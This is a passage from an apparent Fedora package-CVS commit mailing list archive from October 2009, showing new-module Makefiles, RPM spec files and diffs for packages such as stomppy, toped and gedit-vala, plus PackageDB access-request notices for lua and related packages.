for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Sat Oct  3 21:22:43 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:22:43 +0000 (UTC)
Subject: rpms/garmintools/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091003212243.B2DC711C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/garmintools/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsa17309/rpms/garmintools/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module garmintools


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: garmintools
# $Id: Makefile,v 1.1 2009/10/03 21:22:43 kevin Exp $
NAME := garmintools
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Sat Oct  3 21:25:45 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:25:45 +0000 (UTC)
Subject: rpms/alure/devel .cvsignore, NONE, 1.1 Makefile, NONE, 1.1 sources, 
	NONE, 1.1
Message-ID: <20091003212545.43B2811C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/alure/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsF19015/rpms/alure/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module alure


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: alure
# $Id: Makefile,v 1.1 2009/10/03 21:25:45 kevin Exp $
NAME := alure
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From kevin at fedoraproject.org  Sat Oct  3 21:26:44 2009
From: kevin at fedoraproject.org (Kevin Fenzi)
Date: Sat,  3 Oct 2009 21:26:44 +0000 (UTC)
Subject: rpms/rubygem-trollop/devel .cvsignore, NONE, 1.1 Makefile, NONE,
	1.1 sources, NONE, 1.1
Message-ID: <20091003212644.40C1F11C00E5@cvs1.fedora.phx.redhat.com>

Author: kevin

Update of /cvs/pkgs/rpms/rubygem-trollop/devel
In directory cvs1.fedora.phx.redhat.com:/home/fedora/kevin/CVSROOT/admin/tmpcvsn19587/rpms/rubygem-trollop/devel

Added Files:
	.cvsignore Makefile sources 
Log Message:
Setup of module rubygem-trollop


--- NEW FILE .cvsignore ---


--- NEW FILE Makefile ---
# Makefile for source rpm: rubygem-trollop
# $Id: Makefile,v 1.1 2009/10/03 21:26:44 kevin Exp $
NAME := rubygem-trollop
SPECFILE = $(firstword $(wildcard *.spec))

define find-makefile-common
for d in common ../common ../../common ; do if [ -f $$d/Makefile.common ] ; then if [ -f $$d/CVS/Root -a -w $$/Makefile.common ] ; then cd $$d ; cvs -Q update ; fi ; echo "$$d/Makefile.common" ; break ; fi ; done
endef

MAKEFILE_COMMON := $(shell $(find-makefile-common))

ifeq ($(MAKEFILE_COMMON),)
# attept a checkout
define checkout-makefile-common
test -f CVS/Root && { cvs -Q -d $$(cat CVS/Root) checkout common && echo "common/Makefile.common" ; } || { echo "ERROR: I can't figure out how to checkout the 'common' module." ; exit -1 ; } >&2
endef

MAKEFILE_COMMON := $(shell $(checkout-makefile-common))
endif

include $(MAKEFILE_COMMON)


--- NEW FILE sources ---



From pkgdb at fedoraproject.org  Sat Oct  3 21:34:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:34:06 +0000
Subject: [pkgdb] lua-filesystem (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213406.7802210F8AB@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 5 branch for lua-filesystem
kevin has set commit to Approved for 107427 on lua-filesystem (Fedora EPEL 5)
kevin has set checkout to Approved for 107427 on lua-filesystem (Fedora EPEL 5)
kevin has set build to Approved for 107427 on lua-filesystem (Fedora EPEL 5)
kevin changed owner of lua-filesystem in Fedora EPEL 5 to timn
kevin approved watchbugzilla on lua-filesystem (Fedora EPEL 5) for salimma
kevin approved watchcommits on lua-filesystem (Fedora EPEL 5) for salimma
kevin approved commit on lua-filesystem (Fedora EPEL 5) for salimma
kevin approved build on lua-filesystem (Fedora EPEL 5) for salimma
kevin approved approveacls on lua-filesystem (Fedora EPEL 5) for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From stevetraylen at fedoraproject.org  Sat Oct  3 21:37:18 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sat,  3 Oct 2009 21:37:18 +0000 (UTC)
Subject: rpms/stomppy/F-11 stomppy-rm-bang-python.patch, NONE,
	1.1 stomppy.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091003213718.EADE911C00E5@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/stomppy/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26036/F-11

Modified Files:
	.cvsignore sources 
Added Files:
	stomppy-rm-bang-python.patch stomppy.spec 
Log Message:
First F11/F12 release.


stomppy-rm-bang-python.patch:
 stomp.py |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE stomppy-rm-bang-python.patch ---
diff -uNr stomp.py-2.0.2.ORIG/stomp/stomp.py stomp.py-2.0.2/stomp/stomp.py
--- stomp.py-2.0.2.ORIG/stomp/stomp.py	2009-09-30 20:27:10.685618642 +0200
+++ stomp.py-2.0.2/stomp/stomp.py	2009-09-30 20:56:49.564606800 +0200
@@ -1,4 +1,3 @@
-#!/usr/bin/env python
 
 import math
 import random


--- NEW FILE stomppy.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           stomppy
Version:        2.0.4
Release:        1%{?dist}
Summary:        Python stomp client for messaging

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/stomppy/
Source0:        http://stomppy.googlecode.com/files/stomp.py-%{version}.tar.gz
Patch1:        %{name}-rm-bang-python.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-devel

%description
stomp.py is a Python client library for accessing messaging servers 
(such as ActiveMQ or JBoss Messaging) using the STOMP protocol. It can also
be run as a standalone, command-line client for testing.

%prep
%setup -q -n stomp.py-%{version}
%patch1 -p1
# Remove dos line feeds from tests.
%{__sed} -i 's/\r//' test/testlistener.py
%{__sed} -i 's/\r//' test/rabbitmq.py
%{__sed} -i 's/\r//' test/basic.py

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -rf $RPM_BUILD_ROOT%{python_sitelib}/test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{python_sitelib}/*
%doc test LICENSE

%changelog
* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.4-1
- Update to 2.0.4
  remove patch to allow building with out network.

* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-3
- Remove some dos line feeds

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-2
- Add patch to allow build without working network.

* Mon Sep 7 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-1
- Initial version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/F-11/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:17:46 -0000	1.1
+++ .cvsignore	3 Oct 2009 21:37:18 -0000	1.2
@@ -0,0 +1 @@
+stomp.py-2.0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/F-11/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:17:46 -0000	1.1
+++ sources	3 Oct 2009 21:37:18 -0000	1.2
@@ -0,0 +1 @@
+2cb207ffc52280bab5457523b90a8f11  stomp.py-2.0.4.tar.gz



From stevetraylen at fedoraproject.org  Sat Oct  3 21:37:19 2009
From: stevetraylen at fedoraproject.org (stevetraylen)
Date: Sat,  3 Oct 2009 21:37:19 +0000 (UTC)
Subject: rpms/stomppy/F-12 stomppy-rm-bang-python.patch, NONE,
	1.1 stomppy.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091003213719.236CD11C00E5@cvs1.fedora.phx.redhat.com>

Author: stevetraylen

Update of /cvs/pkgs/rpms/stomppy/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv26036/F-12

Modified Files:
	.cvsignore sources 
Added Files:
	stomppy-rm-bang-python.patch stomppy.spec 
Log Message:
First F11/F12 release.


stomppy-rm-bang-python.patch:
 stomp.py |    1 -
 1 file changed, 1 deletion(-)

--- NEW FILE stomppy-rm-bang-python.patch ---
diff -uNr stomp.py-2.0.2.ORIG/stomp/stomp.py stomp.py-2.0.2/stomp/stomp.py
--- stomp.py-2.0.2.ORIG/stomp/stomp.py	2009-09-30 20:27:10.685618642 +0200
+++ stomp.py-2.0.2/stomp/stomp.py	2009-09-30 20:56:49.564606800 +0200
@@ -1,4 +1,3 @@
-#!/usr/bin/env python
 
 import math
 import random


--- NEW FILE stomppy.spec ---
%{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}

Name:           stomppy
Version:        2.0.4
Release:        1%{?dist}
Summary:        Python stomp client for messaging

Group:          Development/Libraries
License:        ASL 2.0
URL:            http://code.google.com/p/stomppy/
Source0:        http://stomppy.googlecode.com/files/stomp.py-%{version}.tar.gz
Patch1:        %{name}-rm-bang-python.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-devel

%description
stomp.py is a Python client library for accessing messaging servers 
(such as ActiveMQ or JBoss Messaging) using the STOMP protocol. It can also
be run as a standalone, command-line client for testing.

%prep
%setup -q -n stomp.py-%{version}
%patch1 -p1
# Remove dos line feeds from tests.
%{__sed} -i 's/\r//' test/testlistener.py
%{__sed} -i 's/\r//' test/rabbitmq.py
%{__sed} -i 's/\r//' test/basic.py

%build
%{__python} setup.py build

%install
rm -rf $RPM_BUILD_ROOT
%{__python} setup.py install -O1 --skip-build --root $RPM_BUILD_ROOT
rm -rf $RPM_BUILD_ROOT%{python_sitelib}/test

%clean
rm -rf $RPM_BUILD_ROOT

%files
%defattr(-,root,root,-)
%{python_sitelib}/*
%doc test LICENSE

%changelog
* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.4-1
- Update to 2.0.4
  remove patch to allow building with out network.

* Wed Sep 30 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-3
- Remove some dos line feeds

* Tue Sep 29 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-2
- Add patch to allow build without working network.

* Mon Sep 7 2009 Steve Traylen <steve.traylen at cern.ch> -  2.0.2-1
- Initial version.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	3 Oct 2009 21:17:46 -0000	1.1
+++ .cvsignore	3 Oct 2009 21:37:18 -0000	1.2
@@ -0,0 +1 @@
+stomp.py-2.0.4.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/stomppy/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	3 Oct 2009 21:17:46 -0000	1.1
+++ sources	3 Oct 2009 21:37:18 -0000	1.2
@@ -0,0 +1 @@
+2cb207ffc52280bab5457523b90a8f11  stomp.py-2.0.4.tar.gz



From chitlesh at fedoraproject.org  Sat Oct  3 21:48:47 2009
From: chitlesh at fedoraproject.org (Chitlesh GOORAH)
Date: Sat,  3 Oct 2009 21:48:47 +0000 (UTC)
Subject: rpms/toped/devel .cvsignore, 1.8, 1.9 import.log, 1.6, 1.7 sources, 
	1.8, 1.9 toped.spec, 1.18, 1.19
Message-ID: <20091003214847.291C511C00E5@cvs1.fedora.phx.redhat.com>

Author: chitlesh

Update of /cvs/pkgs/rpms/toped/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv30786/devel

Modified Files:
	.cvsignore import.log sources toped.spec 
Log Message:
multiple bug fixes over 0.9.4



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/.cvsignore,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- .cvsignore	4 Aug 2009 08:33:01 -0000	1.8
+++ .cvsignore	3 Oct 2009 21:48:46 -0000	1.9
@@ -1 +1 @@
-toped-0.9.4.tar.bz2
+toped-0.9.5.tar.bz2


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/import.log,v
retrieving revision 1.6
retrieving revision 1.7
diff -u -p -r1.6 -r1.7
--- import.log	4 Aug 2009 09:32:59 -0000	1.6
+++ import.log	3 Oct 2009 21:48:46 -0000	1.7
@@ -4,3 +4,4 @@ toped-0_9_2-2_fc9:HEAD:toped-0.9.2-2.fc9
 toped-0_9_2-4_fc11:HEAD:toped-0.9.2-4.fc11.src.rpm:1238345726
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249374653
 toped-0_9_4-1_fc11:HEAD:toped-0.9.4-1.fc11.src.rpm:1249378277
+toped-0_9_5-0_1_fc11:HEAD:toped-0.9.5-0.1.fc11.src.rpm:1254606402


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/sources,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- sources	4 Aug 2009 08:33:01 -0000	1.8
+++ sources	3 Oct 2009 21:48:46 -0000	1.9
@@ -1 +1 @@
-58912db4c50874dc794f59e349c99243  toped-0.9.4.tar.bz2
+8c0e045d88bd4fc55b2cc068b2835dec  toped-0.9.5.tar.bz2


Index: toped.spec
===================================================================
RCS file: /cvs/pkgs/rpms/toped/devel/toped.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- toped.spec	4 Aug 2009 09:32:59 -0000	1.18
+++ toped.spec	3 Oct 2009 21:48:46 -0000	1.19
@@ -1,7 +1,7 @@
 Name:           toped
-Version:        0.9.4
-Release:        1%{?dist} 
-#RELEASE_0.94_CAND
+Version:        0.9.5
+Release:        0.1%{?dist} 
+#RELEASE_0.95_CAND
 Summary:        VLSI IC Layout Editor
 
 License:        GPLv2
@@ -105,7 +105,10 @@ touch --no-create %{_datadir}/icons/hico
 %{_datadir}/icons/hicolor/*x*/apps/toped.png
 
 
-%Changelog
+%changelog
+* Sat Oct 03 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.5-0.1
+- 0.9.5 test release
+
 * Tue Aug 04 2009 Chitlesh Goorah <chitlesh at fedoraproject.org> - 0.9.4-1
 - 0.9.4 final release
 



From pkgdb at fedoraproject.org  Sat Oct  3 21:33:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:33:19 +0000
Subject: [pkgdb] sdparm (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213319.4AEC710F800@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for sdparm
kevin has set commit to Approved for 107427 on sdparm (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on sdparm (Fedora EPEL 4)
kevin has set build to Approved for 107427 on sdparm (Fedora EPEL 4)
kevin changed owner of sdparm in Fedora EPEL 4 to sharkcz

To make changes to this package see:
  /pkgdb/packages/name/sdparm



From pkgdb at fedoraproject.org  Sat Oct  3 21:34:06 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 21:34:06 +0000
Subject: [pkgdb] lua-filesystem (Fedora EPEL, 4) updated by kevin
Message-ID: <20091003213406.6A9CB10F894@bastion2.fedora.phx.redhat.com>

kevin added a Fedora EPEL 4 branch for lua-filesystem
kevin has set commit to Approved for 107427 on lua-filesystem (Fedora EPEL 4)
kevin has set checkout to Approved for 107427 on lua-filesystem (Fedora EPEL 4)
kevin has set build to Approved for 107427 on lua-filesystem (Fedora EPEL 4)
kevin changed owner of lua-filesystem in Fedora EPEL 4 to timn
kevin approved watchbugzilla on lua-filesystem (Fedora EPEL 4) for salimma
kevin approved watchcommits on lua-filesystem (Fedora EPEL 4) for salimma
kevin approved commit on lua-filesystem (Fedora EPEL 4) for salimma
kevin approved build on lua-filesystem (Fedora EPEL 4) for salimma
kevin approved approveacls on lua-filesystem (Fedora EPEL 4) for salimma

To make changes to this package see:
  /pkgdb/packages/name/lua-filesystem



From salimma at fedoraproject.org  Sat Oct  3 22:11:29 2009
From: salimma at fedoraproject.org (Michel Alexandre Salim)
Date: Sat,  3 Oct 2009 22:11:29 +0000 (UTC)
Subject: rpms/gedit-vala/devel .cvsignore, 1.5, 1.6 gedit-vala.spec, 1.9,
	1.10 sources, 1.5, 1.6
Message-ID: <20091003221129.A701A11C00E5@cvs1.fedora.phx.redhat.com>

Author: salimma

Update of /cvs/pkgs/rpms/gedit-vala/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9652

Modified Files:
	.cvsignore gedit-vala.spec sources 
Log Message:
* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.6.0-1
- Update to 0.6.0



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/gedit-vala/devel/.cvsignore,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- .cvsignore	21 Sep 2009 08:48:00 -0000	1.5
+++ .cvsignore	3 Oct 2009 22:11:29 -0000	1.6
@@ -1 +1 @@
-vtg-0.5.0.tar.bz2
+vtg-0.6.0.tar.bz2


Index: gedit-vala.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gedit-vala/devel/gedit-vala.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- gedit-vala.spec	21 Sep 2009 08:48:01 -0000	1.9
+++ gedit-vala.spec	3 Oct 2009 22:11:29 -0000	1.10
@@ -1,10 +1,8 @@
 %global upstream_name vtg
-#global svn_rev r
 
 Name:           gedit-vala
-Version:        0.5.0
+Version:        0.6.0
 Release:        1%{?dist}
-#Release:        0.1.%{svn_rev}svn%{?dist}
 Summary:        Vala Toys for gEdit
 
 Group:          Applications/Editors
@@ -13,9 +11,6 @@ URL:            http://code.google.com/p
 Source0:        http://vtg.googlecode.com/files/vtg-%{version}.tar.bz2
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
-# For SVN checkout only
-#BuildRequires:  gnome-common autoconf automake libtool
-# end SVN
 BuildRequires:  gedit-devel vala-devel GConf2-devel
 # GConf2-devel ought to depend on dbus-devel:
 # https://bugzilla.redhat.com/show_bug.cgi?id=485667
@@ -50,9 +45,7 @@ with four modules:
 
 
 %build
-#NOCONFIGURE=1 ./autogen.sh
-# http://code.google.com/p/vtg/issues/detail?id=67
-%configure --disable-vsc-shell
+%configure
 # this switch is ignored right now
 # --docdir=%{_docdir}/%{name}-%{version}
 make %{?_smp_mflags}
@@ -79,6 +72,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Sat Oct  3 2009 Michel Salim <salimma at fedoraproject.org> - 0.6.0-1
+- Update to 0.6.0
+
 * Mon Sep 21 2009 Michel Salim <salimma at fedoraproject.org> - 0.5.0-1
 - Update to final 0.5.0 release
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/gedit-vala/devel/sources,v
retrieving revision 1.5
retrieving revision 1.6
diff -u -p -r1.5 -r1.6
--- sources	21 Sep 2009 08:48:01 -0000	1.5
+++ sources	3 Oct 2009 22:11:29 -0000	1.6
@@ -1 +1 @@
-53c65e9c11a1335adb0f7faf0b85151a  vtg-0.5.0.tar.bz2
+a5724d011f8dabc6eb795feb366f1f21  vtg-0.6.0.tar.bz2



From pkgdb at fedoraproject.org  Sat Oct  3 22:21:58 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:21:58 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222158.439E010F800@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:05 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222206.2BE7910F800@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:36 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222237.16E2B10F87E@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:22:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:22:38 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222238.EA88E10F88C@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora EPEL 4)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:23:01 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:23:01 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222301.B826D10F88B@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:23:37 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:23:37 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222337.D88BB10F800@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:23:39 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:23:39 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222339.CE93510F889@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:23:41 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:23:41 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222341.C1D7010F88C@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora EPEL 5)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:09 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:09 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222409.4958A10F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:11 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222411.8E42E10F88B@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:15 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222416.1585610F890@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:19 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222419.5527B10F86A@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora 11)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:45 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:45 +0000
Subject: [pkgdb] lua: salimma has requested watchbugzilla
Message-ID: <20091003222446.476AF10F800@bastion2.fedora.phx.redhat.com>

salimma has requested the watchbugzilla acl on lua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:46 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:46 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222447.0D4A510F889@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:48 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:48 +0000
Subject: [pkgdb] lua: salimma has requested commit
Message-ID: <20091003222449.0BD5710F890@bastion2.fedora.phx.redhat.com>

salimma has requested the commit acl on lua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:24:51 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:24:51 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222451.BDC7B10F892@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora 12)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:25:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:25:14 +0000
Subject: [pkgdb] lua: salimma has requested watchcommits
Message-ID: <20091003222514.2ECA410F88B@bastion2.fedora.phx.redhat.com>

salimma has requested the watchcommits acl on lua (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/lua



From pkgdb at fedoraproject.org  Sat Oct  3 22:25:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Sat, 03 Oct 2009 22:25:15 +0000
Subject: [pkgdb] lua: salimma has requested approveacls
Message-ID: <20091003222515.3CA0510F88C@bastion2.fedora.phx.redhat.com>

salimma has requested the approveacls acl on lua (Fedora 10)

